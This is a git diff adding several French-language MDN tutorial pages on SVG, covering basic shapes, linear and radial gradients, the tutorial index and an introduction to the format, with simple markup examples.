+<p>L'élément <a href="/fr/SVG/Element/rect" title="rect">rect</a>, comme son nom ne l'indique peut-être pas, dessine à l'écran des rectangles. Il existe 6 attributs de base qui contrôlent la position et la forme du rectangle dessiné ici. L'image précédente affichait 2 rectangles, ce qui est un peu répétitif. Celui de droite possède des attributs <code>rx</code> et <code>ry</code> définis, ce qui lui donne des coins arrondis. Si ces attributs ne sont pas définis, leur valeur par défaut est de 0, ce qui a pour résultats d'afficher un rectangle avec des angles droits.</p>
+
+<pre class="brush: xml"> &lt;rect x="10" y="10" width="30" height="30"/&gt;
+ &lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30"/&gt;
+</pre>
+
+<dl>
+ <dt>x</dt>
+ <dd>Position du rectangle sur l'axe horizontal par rapport au coin supérieur gauche.</dd>
+ <dt>y</dt>
+ <dd>Position du rectangle sur l'axe vertical par rapport au coin supérieur gauche.</dd>
+ <dt>width</dt>
+ <dd>Largeur du rectangle.</dd>
+ <dt>height</dt>
+ <dd>Hauteur du rectangle.</dd>
+ <dt>rx</dt>
+ <dd>Rayon x des coins du rectangle.</dd>
+ <dt>ry</dt>
+ <dd>Rayon y des coins du rectangle.</dd>
+</dl>
+
+<h4 id="Cercles">Cercles</h4>
+
+<p>De la même manière, il est facile de deviner la fonction de l'élément <a href="/fr/SVG/Element/circle" title="circle">circle</a>. Il dessine à l'écran un cercle. Seuls 3 attributs peuvent être définis pour cet élément.</p>
+
+<pre class="brush: xml"> &lt;circle cx="25" cy="75" r="20"/&gt;
+</pre>
+
+<dl>
+ <dt>r</dt>
+ <dd>Rayon du cercle.</dd>
+ <dt>cx</dt>
+ <dd>Position x du centre du cercle.</dd>
+ <dt>cy</dt>
+ <dd>Position y du centre du cercle.</dd>
+</dl>
+
+<h4 id="Ellipses">Ellipses</h4>
+
+<p>Les <a href="/fr/SVG/Element/ellipse" title="ellipse">ellipse</a>s sont juste des sortes de cercles bien particuliers, où l'on peut modifier les rayons x et y séparemment l'un de l'autre (les matheux appellent ces rayons le grand axe et le petit axe).</p>
+
+<pre class="brush: xml"> &lt;ellipse cx="75" cy="75" rx="20" ry="5"/&gt;
+</pre>
+
+<dl>
+ <dt>rx</dt>
+ <dd>Rayon x de l'ellipse.</dd>
+ <dt>ry</dt>
+ <dd>Rayon y de l'ellipse.</dd>
+ <dt>cx</dt>
+ <dd>Position x du centre de l'ellipse.</dd>
+ <dt>cy</dt>
+ <dd>Position y du centre de l'ellipse.</dd>
+</dl>
+
+<h3 id="Figures_complexes">Figures complexes</h3>
+
+<h4 id="Lignes">Lignes</h4>
+
+<p>Les lignes droites permettent de créer des figures plus complexes, en les additionnant les unes avec les autres. L'élément <a href="/fr/docs/Web/SVG/Element/line">line</a> en SVG correspond au segment que l'on apprend en géométrie traditionnelle : c'est une portion de droite délimitée par 2 points. Donc pour définir une droite en SVG, il va falloir lui donner pour attribut les coordonnées des deux points qui la définissent.</p>
+
+<pre class="brush: xml"> &lt;line x1="10" x2="50" y1="110" y2="150"/&gt;
+</pre>
+
+<dl>
+ <dt>x1</dt>
+ <dd>Position x du premier point.</dd>
+ <dt>x2</dt>
+ <dd>Position x du deuxième point.</dd>
+ <dt>y1</dt>
+ <dd>Position y du premier point.</dd>
+ <dt>y2</dt>
+ <dd>Position y du deuxième point.</dd>
+</dl>
+
+<h4 id="Lignes_brisées">Lignes brisées</h4>
+
+<p>Les lignes brisées, aussi appelées lignes polygonales, sont définies par l'élément <a href="/fr/docs/Web/SVG/Element/polyline">polyline</a> en SVG. Elles sont constituées d'un ensemble de lignes droites connectées entre elles, donc d'un ensemble de points se reliant entre eux suivant un ordre défini. Comme ce lot de points peut être assez conséquent à déclarer, un seul attribut est utilisé pour déclarer l'ensemble de points :</p>
+
+<pre class="brush: xml"> &lt;polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/&gt;
+</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>Liste des points, chaque pair de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace. Chaque ensemble de coordonnées est séparé du suivant par une virgule.</dd>
+</dl>
+
+<h4 id="Polygones">Polygones</h4>
+
+<p>Le <a href="/fr/docs/web/SVG/Element/polygon">polygon</a>e fonctionne exactement de la même manière que la ligne brisée. Au final, un polygone n'est rien d'autre qu'une ligne brisée qui relie une série de points. Toutefois, pour les polygones, le chemin de cette ligne retourne automatiquement au point de départ, créant ainsi une forme fermée. Il est à noter que le rectangle est un type de polygone particulier. Il est donc possible, pour des besoins de flexibilité, de déclarer un rectangle en utilisant l'élément <code>polygon</code>.</p>
+
+<pre class="brush: xml">&lt;polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/&gt;</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>Idem que l'attribut <code>points</code> de l'élément <code>polyline</code>. Liste des points, chaque paire de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace, chaque ensemble de coordonnées est séparé du suivant par une virgule. Une dernière ligne ferme automatiquement la forme en retournant au point de départ.</dd>
+</dl>
+
+<h4 id="Chemins">Chemins</h4>
+
+<p>L'élément pour tracer les chemins, très logiquement nommé <a href="/fr/docs/Web/SVG/Tutorial/Paths">path</a>, est sûrement la forme la plus généraliste qui peut être utilisée en SVG. Avec un élément <code>path</code>, vous pouvez dessiner un rectangle (avec ou sans coins arrondis), des cercles, des ellipses, des lignes brisées et des polygones. De manière plus basique, il est aussi possible de dessiner d'autres types de formes, comme des courbes de Bézier, des paraboles, et bien plus encore. Pour cette raison, l'élément <code>path</code> en lui même sera un chapitre entier de ce tutoriel, mais pour le moment, nous allons juste voir comment définir cet élément.</p>
+
+<pre class="brush: xml"> &lt;path d="M 20 230 Q 40 205, 50 230 T 90230"/&gt;
+</pre>
+
+<dl>
+ <dt>d</dt>
+ <dd>Un ensemble d'information définissant le chemin à dessiner. Pour en savoir plus, allez à la page à propos des <a href="/fr/docs/Web/SVG/Tutorial/Paths">Chemins</a>.</dd>
+</dl>
+
+<p>{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}</p>
+
+<p><span class="comment">Interwiki Languages Links</span></p>
diff --git a/files/fr/web/svg/tutoriel/gradients/index.html b/files/fr/web/svg/tutoriel/gradients/index.html
new file mode 100644
index 0000000000..ef9c235318
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/gradients/index.html
@@ -0,0 +1,224 @@
+---
+title: Gradients SVG
+slug: Web/SVG/Tutoriel/Gradients
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Gradients
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}</p>
+
+<p>Probablement plus excitant qu'un simple remplissage et contour, est le fait de pouvoir créer et appliquer des dégradés comme remplissage ou contour.</p>
+
+<p>Il y a deux types de dégradés: linéaire et radial. Les dégradés sont définis dans la section <code>defs</code> et non sur les formes elles-mêmes — cela favorise leur réusabilité. Vous <strong>devez</strong> donner au dégradé un attribut <code>id</code>; autrement, il ne pourra pas être utilisé par les autres éléments à l'intérieur du fichier SVG.</p>
+
+<h2 id="SVGLinearGradient" name="SVGLinearGradient">Dégradé Linéaire</h2>
+
+<p>Les dégradés linéaires (<em>linear gradient</em> en anglais) changent de couleur le long d'une ligne droite. Pour en insérer un, on crée un élément {{SVGElement('linearGradient')}} dans la section des définitions du fichier SVG.</p>
+
+<h3 id="Exemple">Exemple</h3>
+
+<p>Un exemple de dégradé linéaire appliqué à un élément <code>&lt;rect&gt;</code>:</p>
+
+<pre class="brush: html">&lt;svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;linearGradient id="Gradient1" x1="0" x2="0" y1="0" y2="1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="50%" stop-color="black" stop-opacity="0"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;linearGradient id="Gradient2"&gt;
+        &lt;stop class="stop1" offset="0%"/&gt;
+        &lt;stop class="stop2" offset="50%"/&gt;
+        &lt;stop class="stop3" offset="100%"/&gt;
+      &lt;/linearGradient&gt;
+      &lt;style type="text/css"&gt;&lt;![CDATA[
+        #rect1 { fill: url(#Gradient2); }
+        .stop1 { stop-color: red; }
+        .stop2 { stop-color: black; stop-opacity: 0; }
+        .stop3 { stop-color: blue; }
+      ]]&gt;&lt;/style&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient1)"/&gt;
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" id="rect1" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}</p>
+
+<h3 id="Définir_le_dégradé">Définir le dégradé</h3>
+
+<p>À l'intérieur du dégradé, il y a divers noeuds {{SVGElement('stop')}}. Ces noeuds disent au dégradé quelles couleurs doivent être affichées à quelles positions, en spécifiant les attributs <code>offset</code> pour la position et <code>stop-color</code> pour la couleur. On peut également le définir avec CSS. Les deux méthodes ont été utilisées dans l'exemple pour le démontrer.</p>
+
+<p>Dans cet exemple, on dit au dégradé de commencer en rouge, de passer au noir transparent au centre et de terminer par la couleur bleue. Vous pouvez ajouter autant de couleurs que vous le souhaitez, pour créer un dégradé aussi beau ou aussi laid que vous le souhaitez, mais les positions (<code>offset</code>) doivent toujours être incrementées de 0% (ou 0) à 100% (ou 1). Si des valeurs sont dupliquées, la couleur définie la plus en bas de la définition sera utilisée.</p>
+
+<p>Aussi, comme pour le remplissage et le contour, vous pouvez spécifier un attribut <code>stop-opacity</code> pour définir l'opacité de la couleur à cette position (encore une fois, à partir de FF3 vous pouvez utiliser les valeurs rgba pour le même effet).</p>
+
+<pre class="eval"> &lt;stop offset="100%" stop-color="yellow" stop-opacity="0.5"/&gt;
+</pre>
+
+<h3 id="Utiliser_le_dégradé">Utiliser le dégradé</h3>
+
+<p>Pour utiliser le dégradé, vous devez le référencer avec l'attribut <code>fill</code> ou <code>stroke</code> d'un objet. On référence un élément SVG de la même manière que l'on référence des éléments en CSS, via <code>url()</code>. Dans notre cas, l'url est juste une référence vers le dégradé avec l'ID "Gradient". Pour le référencer, on définit <code>fill="url(#Gradient)"</code>, et voilà! Notre objet est maintenant multi-coloré. Vous pouvez faire de même avec <code>stroke</code>.</p>
+
+<h3 id="Orientation_du_dégradé">Orientation du dégradé</h3>
+
+<p>L'élément <code>&lt;linearGradient&gt;</code> peut également prendre différents attributs pour spécifier la taille et l'apparence du dégradé. L'orientation du dégradé est contrôlé par deux points, désignés par les attributs <code>x1</code>, <code>x2</code>, <code>y1</code>, et <code>y2</code>. Ces attributs définissent la ligne le long de laquelle le dégradé est tracé. Par défaut, le dégradé est horizontal, mais il peut être orienté autrement grâce à ces attributs. "Gradient2" dans l'exemple précédent crée un dégradé vertical.</p>
+
+<pre class="eval"> &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+</pre>
+
+<h3 id="xlinkhref">xlink:href</h3>
+
+<p>Vous pouvez également utiliser l'attribut <code>xlink:href</code> sur les dégradés. Quand il est utilisé, les attributs et stops d'un dégradé peuvent être réutilisé sur un autre. Ainsi, dans l'exemple précédent, on aurait pu ne pas redéfinir tous les stops dans Gradient2, comme ceci:</p>
+
+<pre class="eval"> &lt;linearGradient id="Gradient1"&gt;
+   &lt;stop id="stop1" offset="0%"/&gt;
+   &lt;stop id="stop2" offset="50%"/&gt;
+   &lt;stop id="stop3" offset="100%"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
+    xmlns:xlink="<a class="external" href="http://www.w3.org/1999/xlink" rel="freelink">http://www.w3.org/1999/xlink</a>" xlink:href="#Gradient1"/&gt;
+</pre>
+
+<p>Ici, le namespace xlink est inclut directement sur le noeud, bien qu'il soit généralement définit en haut du document, comme dans l'<a href="/fr/docs/Web/SVG/Tutoriel/Contenu_embarque_SVG">exemple avec les images</a></p>
+
+<h2 id="Radial_Gradient" name="Radial_Gradient">Dégradé Radial</h2>
+
+<p>Les dégradés radiaux (<em>radial gradient</em> en anglais) sont similaires aux dégradés linéaires à la différence près qu'ils irradient autour d'un point. Pour en créer un, on crée un élément {{SVGElement('radialGradient')}} dans la section de définitions du document SVG.</p>
+
+<h3 id="Exemple_2">Exemple</h3>
+
+<pre class="brush: html">&lt;svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="RadialGradient1"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+      &lt;radialGradient id="RadialGradient2" cx="0.25" cy="0.25" r="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient1)"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient2)"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Exemple_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}</p>
+
+<h3 id="Définir_le_dégradé_2">Définir le dégradé</h3>
+
+<p>Les stops utilisés ici sont les mêmes que précédemment, la différence étant que désormais l'objet sera rouge en son centre, et que la couleur changera progressivement vers le bleu en approchant des contours. Comme pour les dégradés linéaires, le noeud <code>&lt;radialGradient&gt;</code> peut prendre différents attributs pour décrire sa position et son orientation. Cependant, la définition est un peu plus complexe. Le dégradé linéaire est défini par deux points, qui déterminent où sont situé le centre et les bords:</p>
+
+<ul>
+ <li>Le premier point définit le cercle où le dégradé se termine. Il requiert un point central, spécifié par les attributs <code>cx</code> et <code>cy</code>, et un rayon, <code>r</code>. Définir ces trois attributs vous permettra de déplacer le dégradé et de changer sa taille, comme illusté dans le deuxième <code>rect</code> de notre exemple.</li>
+ <li>Le second point est appelé le point focal et il est définit par les attributs <code>fx</code> et <code>fy</code>. Tandis que le premier point décrit où sont les bords du dégradé, le point focal décrit où est son centre. C'est plus facile à voir avec un exemple (voir la section qui suit).</li>
+</ul>
+
+<h3 id="Centre_et_point_focal">Centre et point focal</h3>
+
+<pre class="brush: html">&lt;svg width="120" height="120" version="1.1"
+  xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;radialGradient id="Gradient"
+            cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100"
+        fill="url(#Gradient)" stroke="black" stroke-width="2"/&gt;
+
+  &lt;circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/&gt;
+  &lt;circle cx="35" cy="35" r="2" fill="white" stroke="white"/&gt;
+  &lt;circle cx="60" cy="60" r="2" fill="white" stroke="white"/&gt;
+  &lt;text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt"&gt;(fx,fy)&lt;/text&gt;
+  &lt;text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt"&gt;(cx,cy)&lt;/text&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Centre_et_point_focal','120','120','/files/727/SVG_Radial_Grandient_Focus_Example.png') }}</p>
+
+<p>Si le point focal est déplacé en dehors du cercle décrit précédemment, il est impossible que le dégradé s'affiche correctement, le point focal sera donc supposé être à l'intérieur du bord du cercle. Si le point focal n'est pas du tout indiqué, il sera supposé être au même endroit que le point central.</p>
+
+<h2 id="Attributs_additionnels">Attributs additionnels</h2>
+
+<p>Les dégradés linéaires et radiaux peuvent également prendre quelques autres attributs pour décrire les transformations qu'ils peuvent subir.</p>
+
+<h3 id="spreadMethod">spreadMethod</h3>
+
+<p>Cet attribut contrôle ce qu'il arrive quand le dégradé arrive à sa fin, mais que l'objet n'est pas encore rempli. Trois valeurs sont possibles: "pad", "reflect", ou "repeat".</p>
+
+<ul>
+ <li>"<code>pad</code>" est la valeur par défaut. Quand un dégradé arrive à sa fin, la dernière couleur est utilisée pour remplir le reste de l'objet.</li>
+ <li>"<code>reflect</code>" a pour effet de poursuivre le dégradé, mais en sens inverse: de la dernière couleur (offset 100%) à la première (offset 0%), puis de nouveau de la première à la dernière, etc.</li>
+ <li>"<code>repeat</code>" poursuit également le dégradé, mais au lieu de revenir en arrière, il revient au début et est exécuté de nouveau.</li>
+</ul>
+
+<pre class="brush: html">&lt;svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+      &lt;!-- pad --&gt;
+      &lt;radialGradient id="GradientPad"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="pad"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+
+      &lt;!-- repeat --&gt;
+      &lt;radialGradient id="GradientRepeat"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="repeat"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+
+      &lt;!-- reflect --&gt;
+      &lt;radialGradient id="GradientReflect"
+            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
+            spreadMethod="reflect"&gt;
+        &lt;stop offset="0%" stop-color="red"/&gt;
+        &lt;stop offset="100%" stop-color="blue"/&gt;
+      &lt;/radialGradient&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/&gt;
+  &lt;rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/&gt;
+  &lt;rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/&gt;
+
+  &lt;text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt"&gt;Pad&lt;/text&gt;
+  &lt;text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt"&gt;Repeat&lt;/text&gt;
+  &lt;text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt"&gt;Reflect&lt;/text&gt;
+
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('spreadMethod','220','220','/files/728/SVG_SpreadMethod_Example.png') }}</p>
+
+<h3 id="gradientUnits">gradientUnits</h3>
+
+<p>Les deux types de dégradés ont également un attribut <code>gradientUnits</code>, qui indique l'unité utilisée pour décrire la taille et l'orientation du dégradé. Deux valeurs sont posibles: <code>userSpaceOnUse</code> ou <code>objectBoundingBox</code>.</p>
+
+<ul>
+ <li><code>objectBoundingBox</code> est la valeur par défaut, c'est ce qu'on a vu jusqu'à présent. Le dégradé est automatiquement redimensionné à la taille de l'objet sur lequel il est appliqué, vous n'avez donc qu'à spécifier les coordonnées de zéro à un (ou de 0% à 100%), et les coordonnées sont automatiquement redimensionnée à la taille de l'objet.</li>
+ <li><code>userSpaceOnUse</code> indique que les valeurs sont absolues. Vous devez donc savoir où se situe l'objet, et placer le dégradé à la même position. Le dégradé radial précédent devrait être ré-écrit comme suit:
+  <pre class="eval">&lt;radialGradient id="Gradient"
+                cx="60" cy="60" r="50"
+                fx="35" fy="35"
+                gradientUnits="userSpaceOnUse"&gt;
+</pre>
+ </li>
+</ul>
+
+<p>Il y a quelques subtilités concernant l'utilisation de <code>gradientUnits="objectBoundingBox"</code> quand les limites de l'objet ne sont pas carrées, mais elles sont assez complexes et nous attendrons quelqu'un de plus au courant pour les expliquer.</p>
+
+<h3 id="gradientTransform">gradientTransform</h3>
+
+<p>Vous pouvez également appliquer une transformation au gradient en utilisant l'attribut <code>gradientTransform</code>, mais puisque nous n'avons pas encore introduit les <a href="/fr/docs/Web/SVG/Tutoriel/Transformations_de_base" title="en-US/Web/SVG/Tutorial/Basic Transformations">transformations</a>, nous le laisserons de côté pour l'instant.</p>
+
+<p> </p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}</p>
+
+<p> </p>
diff --git a/files/fr/web/svg/tutoriel/index.html b/files/fr/web/svg/tutoriel/index.html
new file mode 100644
index 0000000000..14275fcdd8
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/index.html
@@ -0,0 +1,36 @@
+---
+title: Tutoriel SVG
+slug: Web/SVG/Tutoriel
+tags:
+  - NeedsContent
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial
+---
+<p><a href="/fr/SVG" title="fr/SVG">SVG</a>, pour Scalable Vector Graphics (ou encore Graphismes vectoriels redimensionnables), est un langage basé sur le <a href="/fr/XML" title="fr/XML">XML</a> du W3C qui permet de définir des éléments graphiques avec des balises. Ce langage est plus ou moins implémenté dans Firefox, Opera, les navigateurs à base de Webkit, Internet Explorer et les autres navigateurs Web.</p>
+
+<p>Ce tutoriel a pour but d'expliquer les mécanismes internes de SVG et regorge de détails techniques. Si vous souhaitez juste dessiner de belles images, vous trouverez plus facilement votre bonheur sur la <a class="external" href="http://inkscape.org/doc/" title="page de documentation d'Inkscape">page de documentation d'Inkscape</a>. Le W3C fournit également une <a class="external" href="http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html" title="An SVG Primer">bonne introduction au format SVG</a>, en anglais malheureusement.</p>
+
+<div class="note">Ce tutoriel est en cours de développement et de traduction. Si vous le pouvez, n'hésitez pas à y mettre votre grain de sel et écrire / traduire un paragraphe ou deux. Des points supplémentaires sont prévus pour ceux qui écriront des pages entières, à réclamer auprès de <a href="/en-US/profiles/GiulianT" title="https://developer.mozilla.org/en-US/profiles/GiulianT/">Julia</a>. Merci d'avance !</div>
+
+<ul>
+ <li><a href="/fr/SVG/Tutoriel/Introduction" title="fr/SVG/Tutoriel/Introduction">Introduction</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Premiers_pas" title="fr/SVG/Tutoriel/Premiers_pas">Premiers pas</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Positionnement" title="fr/SVG/Tutoriel/Positionnement">Positionnement</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Formes_de_base" title="fr/SVG/Tutoriel/Formes_de_base">Formes de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Paths">Paths</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Fills_and_Strokes">Remplissages et contours</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Gradients">Gradients</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Motifs">Motifs</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Texts">Textes</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Transformations_de_base" title="fr/SVG/Tutoriel/Transformations_de_base">Transformations de base</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Découpages_et_masquages" title="Découpages et masquages">Découpages et masquages</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Contenu_embarque_SVG">Contenu embarqué</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/filtres">Filtres</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/polices_SVG">Polices SVG</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/SVG_Image_Tag">Élément image</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel/Tools_for_SVG">Outils pour SVG</a></li>
+ <li><a href="/fr/SVG/Tutoriel/Autres_Tutoriels" title="fr/SVG/Tutoriel/Autres_Tutoriels">Autres tutoriels</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/SVG/Tutorial", "ja": "ja/SVG/Tutorial", "pl": "pl/SVG/Przewodnik" } ) }}</p>
diff --git a/files/fr/web/svg/tutoriel/introduction/index.html b/files/fr/web/svg/tutoriel/introduction/index.html
new file mode 100644
index 0000000000..7c38618958
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/introduction/index.html
@@ -0,0 +1,54 @@
+---
+title: Introduction
+slug: Web/SVG/Tutoriel/Introduction
+tags:
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Introduction
+---
+<p>{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}</p>
+
+<p><a href="/@api/deki/files/6301/=lion_svg.png" title="lion_svg.png"><img alt="lion_svg.png" class="internal lwrap" src="/@api/deki/files/6301/=lion_svg.png?size=webview" style="float: left; height: 292px; width: 208px;"></a>SVG est un langage <a href="/fr/XML" title="XML">XML</a>, assez similaire au <a href="/fr/XHTML" title="fr/XHTML">XHTML</a>. Ce langage peut être utilisé pour dessiner des choses complexes, comme le petit lion sur la gauche. Je l'ai dit en présentation de ce tutoriel, le SVG est un langage vectoriel. En gros, cela veut dire que l'image peut être transformée, rétrécie, agrandie, bref, manipulée, sans perte de qualité.</p>
+
+<p>La seconde particularité est que vous allez pouvoir lire le code. Stop ! Lire une image ? Et oui, cela vient du fait que SVG dérive du XML. Nous verrons dans ce tutoriel que le code SVG reste (la plupart du temps) humainement lisible. C'est aussi sympa car on va pouvoir le transformer en arbre DOM et ainsi le manipuler, avec du CSS et / ou du Javascript.</p>
+
+<p>SVG est apparu en 1999, après que plusieurs formats concurrents aient été soumis au <a class="external external-icon" href="http://www.w3.org" title="en-US/W3C">W3C</a>  sans succès. SVG est pris en charge par tous les <a href="https://caniuse.com/#search=svg">principaux navigateurs</a>. Un inconvénient est que le chargement SVG peut être lent. En contrepartie, l'avantage c'est de disposer du DOM et de ne pas nécessiter d'extensions tierces. Choisir d'utiliser ou non SVG dépend souvent des cas d'utilisation.</p>
+
+<h2 id="Les_ingrédients_de_base">Les ingrédients de base</h2>
+
+<p>HTML founit des éléments pour définir des titres, paragraphes, tableaux, etc. De la même manière, SVG fournit des éléments pour dessiner des cercles, des rectangles, des courbes simples ou complexes, etc.</p>
+
+<p>Un simple document SVG se compose de l'élément racine {{ SVGElement('svg') }}, à l'intérieur de laquelle vont être placées divers éléments. L'élément {{ SVGElement('g') }} permet de regrouper plusieurs éléments ensemble, un peu à la manière d'un div en HTML. À partir de là, l'image SVG peut devenir aussi complexe qu'on le veut.</p>
+
+<p>SVG prend en charge les dégradés, les rotations, les effets de filtre, les animations, l'interactivité avec JavaScript... Mais toutes ces fonctionnalités reposent sur un petit nombre d'éléments de base.</p>
+
+<h2 id="Les_bons_outils">Les bons outils</h2>
+
+<p>Il y a un certain nombre de logiciels de dessin disponibles qui utilisent SVG comme format natif. Certains, comme <a class="external" href="http://www.inkscape.org/">Inkscape</a>, sont libres et gratuits. Néanmoins, ce tutoriel se basera sur le XML et un simple éditeur de texte. Le but est d'enseigner les mécanismes de SVG à ceux qui veulent les comprendre, et la meilleure façon de le faire est de mettre les mains dans le cambouis avec un peu de balisage.</p>
+
+<p class="note">Tous les visionneurs SVG ne sont pas égaux, il est donc probable que quelque chose écrit pour une application ne s'affiche pas exctement de la même manière dans une autre, simplement parce qu'ils prennent en charge différentes spécifications SVG, CSS ou JavaScript.</p>
+
+<p>Avant de commencer, vous devez avoir une compréhension basique du XML ou d'un autre langage de balisage comme le <a href="/fr/HTML" title="fr/HTML">HTML</a>. Si vous n'êtes pas à l'aise avec le XML, voici quelques règles à garder en-tête :</p>
+
+<ul>
+ <li>Les éléments et attributs SVG sont sensibles à la casse (contrairement au HTML et doivent donc tous être entrés avec la casse indiquée ici).</li>
+ <li>Les valeurs des attributs en SVG doivent être placées entre guillemets même si ce sont des nombres.</li>
+</ul>
+
+<p>La <a class="external" href="http://www.w3.org/Graphics/SVG/">spécification du langage SVG (en)</a> est énorme. Ce tutoriel a pour but d'en traiter juste assez pour pouvoir commencer. Une fois que vous serez à l'aise avec les bases du SVG, vous devriez être capables d'utiliser les <a href="/fr/SVG/Référence_d'éléments" title="fr/SVG/Référence_d'éléments">références d'éléments</a> et les <a href="/fr/SVG/Référence_d'interfaces" title="fr/SVG/Référence_d'interfaces">références d'interfaces</a> pour découvrir tout ce que vous aurez besoin de connaître.</p>
+
+<h2 id="Les_versions_SVG">Les versions SVG</h2>
+
+<p>La version "complète" la plus récente de SVG est la 1.1 (devenue recommendation en 2003). Elle s'appuie sur SVG 1.0 mais ajoute davantage de modularisation pour faciliter l'implémentation. <a href="http://www.w3.org/TR/SVG/">La seconde édition de SVG 1.1</a>, est devenue recommendation en 2011.</p>
+
+<p>SVG 1.2 devait être la prochaine version majeure de SVG mais celle-ci a été abandonnée pour le prochain <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, qui est actuellement en cours de développement. SVG 2.0 suit une approche similaire à CSS3: il divise les composants en plusieurs spécifications librement couplées.</p>
+
